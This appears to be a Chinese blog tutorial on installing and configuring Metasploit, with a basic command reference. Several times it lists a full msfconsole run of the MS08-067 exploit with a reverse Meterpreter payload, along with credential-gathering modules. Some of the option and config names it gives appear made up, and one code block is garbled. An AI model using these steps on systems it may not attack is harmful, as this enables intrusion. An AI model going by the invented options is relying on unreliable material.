当前位置: 首页 > news >正文

Metasploit的使用和配置

预计更新
第一章 Metasploit的使用和配置
1.1 安装和配置Metasploit
1.2 Metasploit的基础命令和选项
1.3 高级选项和配置

第二章 渗透测试的漏洞利用和攻击方法
1.1 渗透测试中常见的漏洞类型和利用方法
1.2 Metasploit的漏洞利用模块和选项
1.3 模块编写和自定义

第三章 Metasploit的提权和后渗透
1.1 提权的概念和意义
1.2 Metasploit的提权模块和技术
1.3 后渗透的概念和技术

第四章 Metasploit的社会工程学和反向渗透
1.1 社会工程学的概念和技术
1.2 Metasploit的社会工程学模块和技术
1.3 反向渗透的概念和技术

第五章 Metasploit的网络流量分析和嗅探
1.1 网络流量分析和嗅探的基础知识
1.2 Metasploit的网络流量分析和嗅探模块和技术
1.3 网络流量分析和嗅探的高级技术和工具

第六章 Metasploit的远程执行和管理
1.1 远程执行和管理的概念和意义
1.2 Metasploit的远程执行和管理模块和技术
1.3 远程执行和管理的高级技术和工具

第七章 Metasploit的漏洞挖掘和利用
1.1 漏洞挖掘的概念和技术
1.2 Metasploit的漏洞挖掘模块和技术
1.3 漏洞挖掘的高级技术和工具

第八章 Metasploit的安全防御和逃逸
1.1 安全防御和逃逸的概念和意义
1.2 Metasploit的安全防御和逃逸模块和技术
1.3 安全防御和逃逸的高级技术和工具

第九章 Metasploit在红队作战中的应用
1.1 红队作战的概念和意义
1.2 Metasploit在红队作战中的应用场景和技术
1.3 红队作战的高级技术和工具

第十章 Metasploit在蓝队防御中的应用
1.1 蓝队防御的概念和意义
1.2 Metasploit在蓝队防御中的应用场景和技术
1.3 蓝队防御的高级技术和工具

第一章 Metasploit的使用和配置
1.1 安装和配置Metasploit
1.2 Metasploit的基础命令和选项
1.3 高级选项和配置

安装和配置Metasploit
在不同的操作系统上安装和配置Metasploit可能会有一些不同,因此在本文中,我们将分别介绍如何在Linux、Windows和macOS上安装和配置Metasploit,并提供详细的步骤和常见问题的解决方法。

一、在Linux上安装和配置Metasploit

Metasploit在Linux上的安装相对简单,可以通过包管理器或源码编译进行安装。以下是在Ubuntu 20.04上安装和配置Metasploit的步骤:

  1. 安装依赖项

    在安装Metasploit之前,需要安装一些必要的依赖项,包括Ruby和PostgreSQL等。可以通过以下命令完成:

    sudo apt update
    sudo apt install ruby-full postgresql nmap
    
  2. 下载和安装Metasploit

    在安装依赖项之后,可以下载并安装Metasploit。Metasploit官方网站提供了Metasploit Community Edition的二进制包下载,我们可以前往官网下载最新版本的Metasploit Community Edition。

    下载完成后,可以使用以下命令安装Metasploit:

    sudo dpkg -i metasploit*.deb
    
  3. 初始化数据库和文件系统

    安装完成后,需要初始化Metasploit的数据库和文件系统。可以使用以下命令完成:

    sudo msfdb init
    
  4. 启动Metasploit

    初始化完成后,可以使用以下命令启动Metasploit:

    sudo msfconsole
    

    第一次启动时,Metasploit会自动初始化数据库和文件系统,这个过程可能需要一些时间,需要等待一段时间才能完成。

  5. 配置Metasploit

    Metasploit的配置需要针对不同的使用场景进行调整,包括模块和选项的配置、漏洞库的更新和维护、日志和报告的生成和管理等。可以使用以下命令来配置Metasploit:

    msf > use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set RHOSTS 192.168.1.100
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101
    msf exploit(ms08_067_netapi) > set LPORT 4444
    msf exploit(ms08_067_netapi) > exploit
    

二、在Windows上安装和配置Metasploit

在Windows上安装和配置Metasploit可以通过以下步骤完成:

  1. 下载和安装Ruby环境

    Metasploit是基于Ruby编写的,需要安装Ruby环境。可以前往Ruby官网下载最新版本的Ruby安装程序,并按照提示进行安装。

  2. 下载和安装Metasploit

    Metasploit官方网站提供了Metasploit Community Edition的Windows安装程序下载,我们可以前往官网下载最新版本的Metasploit Community Edition。

    下载完成后,可以双击安装程序并按照提示进行安装。

  3. 配置环境变量

    安装完成后,需要配置环境变量。可以右键单击“计算机”图标,选择“属性”->“高级系统设置”->“环境变量”,在系统变量中添加以下两个变量:

    MSF_DATABASE_CONFIG=C:\metasploit-framework\config\database.yml
    MSF_LOG_DIR=C:\metasploit-framework\logs
    
  4. 初始化数据库和文件系统

    安装完成后,需要初始化Metasploit的数据库和文件系统。可以使用以下命令完成:

    cd C:\metasploit-framework\bin
    msfdb init
    
  5. 启动Metasploit

    初始化完成后,可以使用以下命令启动Metasploit:

    cd C:\metasploit-framework\bin
    msfconsole.bat
    

    第一次启动时,Metasploit会自动初始化数据库和文件系统,这个过程可能需要一些时间,需要等待一段时间才能完成。

  6. 配置Metasploit

    Metasploit的配置需要针对不同的使用场景进行调整,包括模块和选项的配置、漏洞库的更新和维护、日志和报告的生成和管理等。可以使用以下命令来配置Metasploit:

    msf > use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set RHOSTS 192.168.1.100
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101
    msf exploit(ms08_067_netapi) > set LPORT 4444
    msf exploit(ms08_067_netapi) > exploit
    

三、在macOS上安装和配置Metasploit

在macOS上安装和配置Metasploit可以通过以下步骤完成:

  1. 安装Homebrew

    Homebrew是macOS上的包管理器,可以通过以下命令安装:

    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
    
  2. 安装依赖项

    在安装Metasploit之前,需要安装一些必要的依赖项,包括Git、Ruby、PostgreSQL和Nmap等。可以使用以下命令完成:

    brew install git ruby postgresql nmap
    
  3. 下载和安装Metasploit

    Metasploit官方网站提供了Metasploit Community Edition的源码下载,我们可以前往官网下载最新版本的Metasploit Community Edition。

    下载完成后,可以使用以下命令安装Metasploit:

    git clone https://github.com/rapid7/metasploit-framework.git
    cd metasploit-framework
    bundle install
    
  4. 初始化数据库和文件系统

    安装完成后,需要初始化Metasploit的数据库和文件系统。可以使用以下命令完成:

    ./msfdb init
    
  5. 启动Metasploit

    初始化完成后,可以使用以下命令启动Metasploit:

    ./msfconsole
    

    第一次启动时,Metasploit会自动初始化数据库和文件系统,这个过程可能需要一些时间,需要等待一段时间才能完成。

  6. 配置Metasploit

    Metasploit的配置需要针对不同的使用场景进行调整,包括模块和选项的配置、漏洞库的更新和维护、日志和报告的生成和管理等。可以使用以下命令来配置Metasploit:

    msf > use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set RHOSTS 192.168.1.100
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101
    msf exploit(ms08_067_netapi) > set LPORT 4444
    msf exploit(ms08_067_netapi) > exploit
    

常见问题解决方法:

  1. 安装依赖项时,可能会出现依赖项无法安装、版本不匹配等问题。可以尝试使用不同的包管理器或手动安装依赖项。

  2. 初始化数据库和文件系统时,可能会出现连接数据库失败、文件系统无法创建等问题。可以检查数据库和文件系统的权限和配置,确保与Metasploit的配置一致。

  3. 启动Metasploit时,可能会出现端口被占用、Metasploit无法启动等问题。可以检查端口和进程占用情况,并根据错误提示进行排查。

  4. 配置Metasploit时,可能会出现模块无法加载、选项无法设置等问题。可以检查模块和选项的名称和语法是否正确,并根据错误提示进行排查。

  5. 在使用Metasploit进行攻击时,可能会出现漏洞利用失败、反弹shell失败等问题。可以检查目标系统和网络环境的配置和状态,并根据错误提示进行排查。

总之,在安装和使用Metasploit时,需要认真阅读官方文档和参考资料,了解Metasploit的基本原理和常用功能,掌握正确的配置和使用方法,同时要遵守法律和道德规范,不进行非法攻击和渗透测试。

Metasploit的基础命令和选项
Metasploit是一款功能强大的渗透测试工具,可以用于漏洞扫描、漏洞利用、后渗透等多个方面。在Metasploit中,有大量的命令和选项可以选择和使用,本文将详细介绍Metasploit的基础命令和选项,帮助用户更好地掌握Metasploit的使用方法。

一、Metasploit的基础命令

Metasploit的基础命令主要包括以下几个部分:

  1. 显示命令

    显示命令用于显示Metasploit的当前状态和信息,包括模块、选项、会话、主机、漏洞等。常用的显示命令包括:

    • help:显示帮助信息,可以使用“help <命令名>”显示指定命令的帮助信息。
    • show:显示指定类型的信息,可以使用“show <类型>”显示指定类型的信息,包括模块、选项、会话、主机、漏洞等。
    • search:搜索指定关键字的模块,可以使用“search <关键字>”搜索包含指定关键字的模块。
    • info:显示指定模块的信息,可以使用“info <模块名>”显示指定模块的详细信息。
    • version:显示Metasploit的版本信息。
  2. 设置命令

    设置命令用于设置Metasploit的各种选项和参数,包括目标主机、漏洞利用类型、载荷类型等。常用的设置命令包括:

    • set:设置指定选项的值,可以使用“set <选项名> <值>”设置指定选项的值。
    • unset:取消指定选项的设置,可以使用“unset <选项名>”取消指定选项的设置。
    • options:显示当前模块的可用选项和默认值。
    • use:选择指定模块进行漏洞利用,可以使用“use <模块名>”选择指定模块进行漏洞利用。
  3. 运行命令

    运行命令用于启动或停止Metasploit的各种功能,包括漏洞利用、载荷生成、后渗透等。常用的运行命令包括:

    • exploit:运行当前选定的漏洞利用模块,可以使用“exploit”运行当前选定的漏洞利用模块。
    • setg:设置全局选项的值,可以使用“setg <选项名> <值>”设置全局选项的值。
    • unsetg:取消全局选项的设置,可以使用“unsetg <选项名>”取消全局选项的设置。
    • jobs:管理后台任务,包括启动、停止、查看等。
    • sessions:管理会话,包括查看、关闭、提权等。
  4. 编辑命令

    编辑命令用于编辑Metasploit的各种配置文件和脚本,包括配置文件、模块、载荷、Exploit等。常用的编辑命令包括:

    • load:加载指定的模块,可以使用“load <模块名>”加载指定的模块。
    • save:保存当前会话或模块的状态,可以使用“save <文件名>”保存当前会话或模块的状态。
    • edit:编辑指定的文件或模块,可以使用“edit <文件名>”编辑指定的文件或模块。
    • reload:重新加载指定的模块或配置文件,可以使用“reload <模块名>”重新加载指定的模块或配置文件。
  5. 其他命令

    其他命令包括一些常见的命令和功能,包括清屏、退出、重置等。常用的其他命令包括:

    • clear:清屏,可以使用“clear”清除控制台屏幕。
    • exit:退出Metasploit,可以使用“exit”退出Metasploit。
    • reset:重置当前模块,可以使用“reset”重置当前模块的状态。

二、Metasploit的基础选项

Metasploit的基础选项主要包括以下几个部分:

  1. 目标选项

    目标选项用于指定要攻击的目标主机或网络,包括IP地址、端口、协议等。常用的目标选项包括:

    • RHOST:指定要攻击的目标主机的IP地址。
    • RPORT:指定要攻击的目标主机的端口号。
    • LHOST:指定本地主机的IP地址,用于生成反弹shell等。
    • LPORT:指定本地主机的端口号,用于生成反弹shell等。
    • PAYLOADHOST:指定用于生成载荷的主机的IP地址。
  2. 漏洞选项

    漏洞选项用于指定要利用的漏洞类型和参数,包括漏洞名称、漏洞利用方式、漏洞利用参数等。常用的漏洞选项包括:

    • PAYLOAD:指定要使用的载荷类型,包括反弹shell、Meterpreter等。
    • TARGETURI:指定要攻击的Web应用程序的URI路径。
    • USERNAME:指定要攻击的目标主机的用户名。
    • PASSWORD:指定要攻击的目标主机的密码。
  3. 模块选项

    模块选项用于指定要使用的模块和模块参数,包括模块名称、模块参数等。常用的模块选项包括:

    • MODULE:指定要使用的模块名称,包括Exploit、Post、Payload等模块。
    • VERBOSE:指定是否显示详细信息。
    • THREADS:指定并发执行的线程数。
  4. 会话选项

    会话选项用于指定要使用的会话和会话参数,包括会话ID、会话类型、会话参数等。常用的会话选项包括:

    • SESSION:指定要使用的会话ID。
    • SESSIONTYPE:指定要使用的会话类型,包括Meterpreter、Shell等。
    • GROOMSIZE:指定Meterpreter会话的内存分配大小。
  5. 其他选项

    其他选项包括一些常见的选项和功能,包括全局选项、调试选项、输出选项等。常用的其他选项包括:

    • GLOBALS:指定全局选项的值。
    • DEBUG:指定是否开启调试模式。
    • OUTPUT:指定输出的格式和文件路径。

三、Metasploit的使用示例

以下是一些常见的Metasploit使用示例,供参考:

  1. 扫描目标主机漏洞

    使用“db_nmap”命令进行端口扫描,找到目标主机开放的端口和服务:

    msf > db_nmap -sS -p- <目标主机>
    

    使用“search”命令搜索漏洞模块:

    msf > search <关键字>
    

    使用“use”命令选择要使用的漏洞模块:

    msf > use <漏洞模块名称>
    

    设置目标选项和漏洞选项:

    msf exploit(<漏洞模块名称>) > set RHOST <目标主机>
    msf exploit(<漏洞模块名称>) > set RPORT <目标端口>
    msf exploit(<漏洞模块名称>) > set PAYLOAD <载荷类型>
    msf exploit(<漏洞模块名称>) >使用“exploit”命令执行漏洞攻击:

    msf exploit(<漏洞模块名称>) > exploit

    
    
  2. 获取目标主机系统信息

    使用“use”命令选择要使用的模块,如“windows/smb/smb_version”模块:

    msf > use windows/smb/smb_version
    

    设置目标选项:

    msf auxiliary(smb_version) > set RHOSTS <目标主机或IP地址>
    

    使用“run”命令执行模块:

    msf auxiliary(smb_version) > run
    
  3. 获取目标主机用户凭证

    使用“use”命令选择要使用的模块,如“windows/gather/credentials/gpp”模块:

    msf > use windows/gather/credentials/gpp
    

    设置目标选项:

    msf auxiliary(gpp) > set RHOSTS <目标主机或IP地址>
    

    使用“run”命令执行模块:

    msf auxiliary(gpp) > run
    
  4. 获取目标主机网络信息

    使用“use”命令选择要使用的模块,如“windows/gather/ipconfig”模块:

    msf > use windows/gather/ipconfig
    

    设置目标选项:

    msf auxiliary(ipconfig) > set RHOSTS <目标主机或IP地址>
    

    使用“run”命令执行模块:

    msf auxiliary(ipconfig) > run
    

以上仅是Metasploit的一些基本使用示例,实际使用中需要根据具体情况选择合适的模块和选项。
高级选项和配置
Metasploit是一个功能强大的渗透测试工具,提供了丰富的漏洞利用模块和载荷,可以用于测试网络和应用程序的安全性。除了基本选项外,Metasploit还提供了许多高级选项和配置,本文将详细介绍这些选项和配置。

一、高级选项

  1. 渗透测试选项

    渗透测试选项用于指定渗透测试的目标和方式,包括漏洞利用方式、攻击类型、扫描方式等。常用的渗透测试选项包括:

    • EXPLOIT:指定要使用的漏洞利用模块。
    • PAYLOAD:指定要使用的载荷类型,包括反弹shell、Meterpreter等。
    • AUXILIARY:指定要使用的辅助模块,如信息收集、漏洞扫描等。
    • POST:指定要使用的后渗透模块,如提取密码、执行命令等。
    • SESSION:指定要使用的会话ID或会话类型,如Meterpreter、Shell等。
    • ACTION:指定要执行的动作,如扫描、攻击、提权等。
    • RHOSTS:指定要攻击的目标主机或IP地址。
    • RPORTS:指定要攻击的目标端口或端口范围。
    • THREADS:指定并发执行的线程数。
  2. 载荷选项

    载荷选项用于指定载荷的功能和特性,包括加密方式、编码方式、延迟时间等。常用的载荷选项包括:

    • ENCODER:指定要使用的编码器,用于绕过防御机制。
    • ENCODING:指定要使用的编码方式,如base64、xor等。
    • STAGER:指定要使用的stager类型,用于分阶段执行载荷。
    • STAGEENCODER:指定要使用的stager编码器。
    • LHOST:指定本地主机的IP地址,用于生成反弹shell等。
    • LPORT:指定本地主机的端口号,用于生成反弹shell等。
    • EXITFUNC:指定要使用的退出函数,用于退出载荷时清理残留数据。
    • DELAY:指定要使用的延迟时间,用于延迟执行载荷。
  3. 模块选项

    模块选项用于指定各种模块的参数和配置,包括漏洞利用模块、辅助模块、后渗透模块等。常用的模块选项包括:

    • RHOST:指定要攻击的目标主机或IP地址。
    • RPORT:指定要攻击的目标端口。
    • LHOST:指定本地主机的IP地址,用于反弹shell等。
    • LPORT:指定本地主机的端口号,用于反弹shell等。
    • PAYLOAD:指定要使用的载荷类型。
    • SESSION:指定要使用的会话ID或会话类型。
    • USERNAME:指定要使用的用户名,用于提取密码等。
    • PASSWORD:指定要使用的密码,用于提取密码等。
    • DOMAIN:指定要使用的域名,用于提取密码等。
    • VERBOSE:指定输出详细信息的级别。

二、高级配置

  1. 数据库配置

    Metasploit可以使用数据库存储漏洞信息、凭证、主机信息等,以便进行更复杂的渗透测试和数据分析。常用的数据库配置包括:

    • POSTGRES_HOST:指定PostgreSQL数据库服务器的IP地址或主机名。
    • POSTGRES_PORT:指定PostgreSQL数据库服务器的端口号。
    • POSTGRES_USER:指定连接数据库所需的用户名。
    • POSTGRES_PASS:指定连接数据库所需的密码。
    • POSTGRES_DB:指定要使用的数据库名称。
    • DB_CONNECT_RETRIES:指定尝试连接数据库的次数。
    • DB_CONNECT_INTERVAL:指定尝试连接数据库的时间间隔。
  2. 日志配置

    Metasploit可以生成详细的日志信息,包括攻击过程、漏洞利用结果等。常用的日志配置包括:

    • VERBOSE:指定输出详细信息的级别。
    • LOGFILE:指定日志文件的路径和名称。
    • LOGLEVEL:指定日志输出的级别,包括debug、info、warn、error等。
    • LOGHANDLER:指定日志处理器,如file、console、syslog等。
  3. 代理配置

    Metasploit可以通过代理服务器进行渗透测试,以便绕过网络限制和防御机制。常用的代理配置包括:

    • PROXYURL:指定代理服务器的URL地址。
    • PROXYPORT:指定代理服务器的端口号。
    • PROXYUSER:指定连接代理服务器所需的用户名。
    • PROXYPASS:指定连接代理服务器所需的密码。
  4. 其他配置

    Metasploit还提供了许多其他的高级配置选项,包括:

    • MODULE_PATH:指定模块文件的路径。
    • PAYLOAD_PATH:指定载荷文件的路径。
    • EXIT_ON_SESSION:指定是否在会话结束时退出Metasploit。
    • EXIT_ON_FAILURE:指定是否在失败时退出Metasploit。
    • SESSION_TIMEOUT:指定会话超时时间。
    • MAX_THREADS:指定并发执行的最大线程数。

总结

Metasploit的高级选项和配置提供了丰富的功能和扩展性,可以满足各种渗透测试的需求。在使用Metasploit进行渗透测试时,需要根据具体情况选择合适的选项和配置,并理解其原理和影响,以便更好地发挥其作用。

相关文章:

Metasploit的使用和配置

预计更新 第一章 Metasploit的使用和配置 1.1 安装和配置Metasploit 1.2 Metasploit的基础命令和选项 1.3 高级选项和配置 第二章 渗透测试的漏洞利用和攻击方法 1.1 渗透测试中常见的漏洞类型和利用方法 1.2 Metasploit的漏洞利用模块和选项 1.3 模块编写和自定义 第三章 Me…...

测试用例的设计思路

接到提测单后要做的事情&#xff1a; 测试准备阶段 确认提测单内包含的文件、URL地址可以访问确认需求 (迭代目标、用户故事、用户愿望、问题反馈等)确认回归测试范围、更新测试范围、新增测试范围编写测试点思维导图&#xff0c;过程中有问题及时进行沟通与迭代相关人员约一个…...

HCIP——交换综合实验

一、实验拓扑图 二、实验需求 1、PC1和PC3所在接口为access&#xff0c;属于vlan2&#xff1b;PC2/4/5/6处于同一网段&#xff0c;其中PC2可以访问PC4/5/6&#xff1b;但PC4可以访问PC5&#xff0c;不能访问PC6 2、PC5不能访问PC6 3、PC1/3与PC2/4/5/6/不在同一网段 4、所有PC通…...

大学生如何搭建自己的网站

这篇是我在大一的时候&#xff0c;写过的一篇文章。 前言 作为一名大学生&#xff0c;我觉得搭建个人网站很有意义。 这篇博客讲述的是这个寒假&#xff0c;我是如何从零到搭建好个人网站的过程。我提供的主要是具体的思路&#xff0c;也附带了一些零零散散的细节。时间跨度…...

linux 路由表的优先级

[rootlocalhost cc]# ip rule list 0: from all lookup local 32765: from 10.0.19.24 lookup 4096 32766: from all lookup main 32767: from all lookup default 现在有 4 条路由规则&#xff0c;优先级是怎样的&#xff0c;0 代表最低优先级还是最高优先级 在 Linux 的 IP …...

毕业项目分享

大家好&#xff0c;今天给大家分享112个有趣的Python实战项目&#xff0c;可以直接拿来实战练习&#xff0c;涵盖机器学习、爬虫、数据分析、数据可视化、大数据等内容&#xff0c;建议关注、收藏。 项目名称 主要技术 2023招聘数据分析可视化系统爬虫 7种薪资预测模型 Flas…...

Android启动系列之进程杀手--lmkd

本文概要 这是Android系统启动的第三篇文章&#xff0c;本文以自述的方式来讲解lmkd进程&#xff0c;通过本文您将了解到lmkd进程在安卓系统中存在的意义&#xff0c;以及它是如何杀进程的。&#xff08;文中的代码是基于android13&#xff09; 我是谁 init&#xff1a;“大…...

tex中的边框

文章目录 利用tcolorbox宏包给公式加框 利用tcolorbox宏包 tcolorbox可以创建一个盒子的环境&#xff0c;例如&#xff1a; \documentclass{article} \usepackage{tcolorbox} \begin{document}\begin{tcolorbox}[left1cm, right1cm, top0.5cm, bottom0.5cm,colbackblue!10!wh…...

面试题库之JAVA基础篇(三)

final 被final修饰的类不可以被继承。被final修改的方法不可以被重写。被final修改的方法&#xff0c;jvm会尝试内联&#xff0c;以提高运行效率。被final修改的变量不可变&#xff0c;如果修改的是引用&#xff0c;那么引用不可变&#xff0c;引用指向的对象内容可变。被fin…...

CTF-虚拟机-QEMU-前置知识-操作流程与源码阅读

文章目录 总览内存PCI设备PCI配置空间前64个字节对应源码Memorry空间的BARIO空间的BAR MMIOPMIOIspci访问PCI设备配置空间中的Memory空间和IO空间MMIOPMIO QQM&#xff08;qemu object model&#xff09;简洁概要将 TypeInfo 注册 TypeImpl&#xff1a;ObjectClass的初始化&…...

java成神秘籍第一卷

前言 适合还没有入行小白学习&#xff0c;有些朋友会跑来问我这行的一些问题&#xff0c;下面算是详细系统的整理了一下啦。 全当是学习 复盘 整理 记录了 java成神秘籍第一卷 前言一 前提1 要不要考公&#xff0c;考编&#xff0c;考研2 语言选择3 就业岗位4 目标5 考不考虑…...

golang实现文件上传(高并发+分块+断点续传+加密)

运行视频 // todo 根据前端传递文件加密 func (s *FileProcess) FileProcessEncryptionByFront(file multipart.File, h *multipart.FileHeader) interface{} { //根据字节直接处理文件 这个是前端传递的二进制流s.FileProcessInit() //文件初始化 设置原来文件…...

用HeidiSQL在MySQL中新建用户

用HeidiSQL登录到MySQL数据库&#xff0c;注意登录的时候要使用有权限的用户&#xff1a; 选择工具-》用户管理&#xff1a; 点击左上角的“添加”&#xff1a; 输入用户名、密码&#xff0c;并且分配权限&#xff1a; 点击右边的“添加对象”&#xff1a; 可以根据自己…...

【IPv6】IPv6协议

一、IPv6数据报格式 这是与v4报头的对比 1.8bit的版本保留了&#xff0c;v4版本就是4&#xff0c;v6就是6。 2.v6去除了v4的首部长度字段&#xff0c;因为v6的首部长是固定的40字节。 3.服务类型&#xff08;Type of Service, ToS&#xff09;和通信类型&#xff08;Traffi…...

无需服务器,无需魔法,拥有一个微信机器人就是这么简单

前情提要 还没看过的朋友可以看一下上一篇文章《拥有一个微信机器人总共需要几步&#xff1f;》在这篇文章里&#xff0c;我们提到&#xff0c;创建微信机器人需要一个大前提--你得有一台服务器。现在&#xff0c;不再需要了&#xff01;没错&#xff0c;上一篇提到的Serverles…...

1、命名空间、C++的复合类型、缺省参数

命名空间 1、命名空间的定义 使用namespace定义&#xff0c;使用作用域限定符::访问 #include <iostream> namespace ICBC{int money 0;void save( int m){money m;} } int main( void ){ICBC::save( 100); std::cout << "工行卡余额&#xff1a;"…...

colab notebook导出为PDF

目录 方法一&#xff1a;使用浏览器打印功能 方法二&#xff1a;使用nbconvert转换 方法三&#xff1a;在线转换 方法一&#xff1a;使用浏览器打印功能 一般快捷键是CTRLP 然后改变目标打印机为另存为PDF 这样就可以将notebook保存为PDF了 方法二&#xff1a;使用nbconver…...

【Python动漫系列】名侦探柯南(完整代码)

文章目录 名侦探柯南环境需求完整代码程序分析系列文章名侦探柯南 《名侦探柯南》是由青山刚昌创作的一部侦探漫画,于1994年开始连载,并被改编为动画、电影、游戏等多种形式。故事讲述了高中生侦探工藤新一在破案时被不良组织所毒害,身体缩小成了一个小学生,为了寻找解药并…...

【matlab】QR分解

QR分解 给定一个mn的矩阵A&#xff0c;其中m≥n&#xff0c;即矩阵A是高矩阵或者是方阵&#xff0c;QR分解将矩阵A分解为两个矩阵Q和R的乘积&#xff0c;其中矩阵Q是一个mn的各列正交的矩阵&#xff0c;即QTQI&#xff0c;矩阵R是一个nn的上三角矩阵&#xff0c;其对角线元素为…...

Liunx系统使用超详细(三)

本篇内容开始逐渐描述有关liunx的各种命令的使用方法&#xff01; 目录 一、目录和文件区别 1.1目录&#xff1a; 1.2文件&#xff1a; 1.3总结&#xff1a; 二、Linux命令的写法 三、linux命令清屏 四、pwd命令 五、ls命令 5.1 ls&#xff1a; 5.2 ls -l&#xff1a…...

Kubernetes学习笔记-Part.06 Docker安装

目录 Part.01 Kubernets与docker Part.02 Docker版本 Part.03 Kubernetes原理 Part.04 资源规划 Part.05 基础环境准备 Part.06 Docker安装 Part.07 Harbor搭建 Part.08 K8s环境安装 Part.09 K8s集群构建 Part.10 容器回退 第六章 Docker安装 在master、worker、harbor上均需…...

现在的00后,实在是太卷了......

现在的小年轻真的卷得过分了。前段时间我们公司来了个00年的&#xff0c;工作没两年&#xff0c;跳槽到我们公司起薪18K&#xff0c;都快接近我了。后来才知道人家是个卷王&#xff0c;从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天&#xff0c;原来这位小老弟家里条…...

Maven项目目录结构

项目结构 目录说明.ideaIDEA工具的配置文件.mvn用于运行Maven项目src源码文件夹target字节码文件夹.gitignore配置git忽略文件HELP.md自述文件mvnw运行Maven命令&#xff08;Linux&#xff09;mvnw.cmd运行Maven命令&#xff08;Windows&#xff09;pom.xml依赖管理文件 如图…...

感慨!一路从测试小白到现在的高级测试工程师,方向不对真的很艰辛

1 功能测试人员&#xff0c;也就是我们常常俗称的进行点点点测试工程师。前 1-2 年做功能测试&#xff0c;使用其他人开发的工具进行测试。这个阶段的测试工作都比较初级&#xff0c;严重依赖于别人开发的工具和系统。当系统进行升级换代的时候&#xff0c;强哥会明显的感觉到…...

字符串经典基础面试题

关卡名 字符串经典基础面试题 我会了✔️ 内容 1.理解字符串反转的处理方法 ✔️ 2.熟练掌握回文串的判断方法 ✔️ 3.掌握字符串中搜索第一个唯一字符的方法 ✔️ 4.掌握判断是否互为字符串重排的处理技巧 ✔️ 1 反转的问题 我们知道反转是链表的一个重要考点&#xf…...

【华为OD题库-062】计算礼品发放的最小分组数目-java

题目 又到了一年的末尾&#xff0c;项目组让小明负责新年晚会的小礼品发放工作。为使得参加晚会的同时所获得的小礼品价值相对平衡&#xff0c;需要把小礼品根据价格进行分组&#xff0c;但每组最多只能包括两件小礼品&#xff0c;并且每个分组的价格总和不能超过一个价格上限。…...

[go 面试] 构建高效微服务通信:选择合适的通信方式

关注公众号【爱发白日梦的后端】分享技术干货、读书笔记、开源项目、实战经验、高效开发工具等&#xff0c;您的关注将是我的更新动力&#xff01; 构建分布式系统或微服务架构时&#xff0c;服务间通信成为至关重要的一环。不同的通信方式各有优劣&#xff0c;因此在选择时需根…...

【华为OD题库-048】拔河比赛-java

题目 公司最近准备进行拔河比赛&#xff0c;需要在全部员工中进行挑选。选拔的规则如下: 1.按照身高优先、体重次优先的方式准备比赛阵容 2.规定参赛的队伍派出10名选手 请实现一个选拔队员的小程序。 输入为一个数组&#xff0c;记录了部门人员的身高、体重信息&#xff0c;如…...

【WebSocket】通信协议基于 node 的简单实践和心跳机制和断线重连的实现

前后端 WebSocket 连接 阮一峰大佬 WebSocket 技术博客 H5 中提供的 WebSocket 协议是基于 TCP 的全双工传输协议。它属于应用层协议&#xff0c;并复用 HTTP 的握手通道。它只需要一次握手就可以创建持久性的连接。 那么什么是全双工呢&#xff1f; 全双工是计算机网络中的…...

【有ISSN、ISBN号!往届均已完成EI检索】第三届电子信息工程、大数据与计算机技术国际学术会议(EIBDCT 2024)

第三届电子信息工程、大数据与计算机技术国际学术会议&#xff08;EIBDCT 2024&#xff09; 2024 3rd International Conference on Electronic Information Engineering, Big Data and Computer Technology 第三届电子信息工程、大数据与计算机技术国际学术会议&#xff08;…...

网站建设公司-山而/今日的最新消息

HTTP介绍 超文本传输协议&#xff08;HTTP&#xff09;的设计目的是保证客户端与服务器之间的通信。HTTP 的工作方式是客户端与服务器之间的请求-应答协议。web 浏览器可能是客户端&#xff0c;而计算机上的网络应用程序也可能作为服务器端。HTTP请求方法 GET - 从指定的资源请…...

建站行业现状探讨/优化网站有哪些方法

隐式意图在很多app中应用广泛&#xff0c;使用隐式意图不仅可以启动自己程序中的Activity&#xff0c;还可以启动其他程序中的Activity&#xff0c;使得程序之间可以共享某种功能。以下将对于用过的setAction()的方法作以归纳整理&#xff0c;持续更新… 1、android.intent.ac…...

登录器显的窗口网站怎么做/看b站视频软件下载安装手机

数据结构实验之图论二&#xff1a;图的深度遍历 Description 请定一个无向图&#xff0c;顶点编号从0到n-1&#xff0c;用深度优先搜索(DFS)&#xff0c;遍历并输出。遍历时&#xff0c;先遍历节点编号小的。 Input 输入第一行为整数n&#xff08;0 < n < 100&#xff…...

陕西有没有做政府网站普查/google chrome官网

多角度SAR图像匹配时一项非常有挑战性的工作&#xff0c;因为同一目标由于雷达观测角度的不同&#xff0c;而有不同的后向散射系数&#xff0c;使得同一目标在不同图像中有较大的差异&#xff0c;难以提取共同的边界或纹理信息。Dell’Acqua首次提出了针对多角度SAR图像配准的方…...

和平网站建设优化seo/百度seo网站在线诊断

在对read的使用过程中&#xff0c;发现对其返回值的处理比较重要&#xff0c;这里做一下总结。read函数原型&#xff1a;ssize_t read(int fd,void *buf,size_t count)函数返回值分为下面几种情况&#xff1a;1、如果读取成功&#xff0c;则返回实际读到的字节数。这里又有两种…...

重庆大渡口营销型网站建设公司哪家专业/网页推广方案

目录 部分内容展示 深入浅出索引&#xff08;上&#xff09; 索引的常见模型InnoDB 的索引模型索引维护小结 深入浅出索引&#xff08;下&#xff09; 覆盖索引最左前缀原则索引下推 为什么这些SQL语句逻辑相同&#xff0c;性能却差异巨大&#xff1f; 案例一&#xff1a;条…...